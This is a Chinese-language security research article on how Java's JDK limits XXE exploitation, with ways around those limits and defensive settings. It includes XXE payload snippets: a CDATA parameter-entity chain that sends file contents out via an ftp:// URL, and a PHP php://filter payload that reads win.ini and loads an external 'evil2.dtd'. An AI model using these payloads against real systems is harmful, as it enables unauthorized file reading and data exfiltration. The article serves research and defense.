关于Java 中 XXE 的利用限制探究
字数 1237 2025-08-13 21:33:22
Java中XXE漏洞利用限制与绕过技术研究
1. XXE基础概念
XXE (XML External Entity) 漏洞是一种XML解析漏洞,允许攻击者通过外部实体声明读取服务器上的任意文件或发起SSRF攻击。
2. Java中XXE利用场景分类
2.1 有回显的XXE
- 普通文件读取:直接通过实体声明读取并回显
- 带换行文件读取:同样可以直接回显
- 含特殊字符文件读取:需要使用CDATA技术
2.2 无回显的XXE (Blind XXE)
- 普通文件读取:可通过HTTP或FTP协议外带数据
- 带换行文件读取:只能通过FTP协议外带
- 含特殊字符文件:目前没有完美解决方案
- 含特殊字符且有换行文件:目前没有完美解决方案
3. Java中XXE利用的限制
3.1 HTTP协议限制
在rt.jar!\sun\net\www\http\HttpClient.class中420行存在对换行的判断:
if (var1.indexOf(10) == -1) {
return var1;
} else {
throw new MalformedURLException("Illegal character in URL");
}
影响:无法通过HTTP协议外带包含换行符的文件内容。
3.2 FTP协议限制
在rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class中:
static URL checkURL(URL var0) throws IllegalArgumentException {
if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
throw new IllegalArgumentException(var3.getMessage(), var3);
}
// ...
}
影响:高版本JDK中FTP协议也无法外带包含换行符的文件内容。
3.3 特殊字符问题
当文件中包含以下字符时会导致XML解析错误:
- 单引号
' - 双引号
" - 尖括号
< > - 与符号
&
报错信息:实体XXX的声明必须以>结尾
4. 绕过技术
4.1 有回显情况下的CDATA技术
CDATA (Character Data) 部分中的所有内容都会被解析器忽略,格式:
<![CDATA[不被解析的内容]]>
利用方法:
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">
限制:
- 仍需要拼接到URL中,会与外部的单引号闭合
- 对单独的
&符号无效(除非构成完整的实体引用格式)
4.2 PHP环境的优势
PHP中可以使用php://filter进行编码转换:
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd">
%dtd;
%send;
]>
5. JDK版本影响
- 低版本JDK:可以使用FTP协议外带含换行符的文件
- 高版本JDK:FtpURLConnection增加了换行符检查,无法使用FTP外带含换行符的文件
注意:具体从哪个版本开始检查换行符未明确说明,需要进一步研究。
6. 总结与利用矩阵
| 文件类型 | 有回显 | 无回显 |
|---|---|---|
| 普通文件 | 直接读取 | HTTP/FTP外带 |
| 带换行文件 | 直接读取 | FTP外带(低版本) |
| 含特殊字符文件 | CDATA技术 | 无完美方案 |
| 含特殊字符+换行 | CDATA技术 | 无完美方案 |
7. 防御建议
-
禁用外部实体解析:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
使用高版本JDK(限制FTP协议利用)
-
输入验证和过滤
-
使用安全的XML解析库
8. 研究展望
- 寻找在Java环境中处理含特殊字符文件外带的新方法
- 深入研究不同JDK版本对XXE利用的限制变化
- 探索除HTTP/FTP外的其他数据外带通道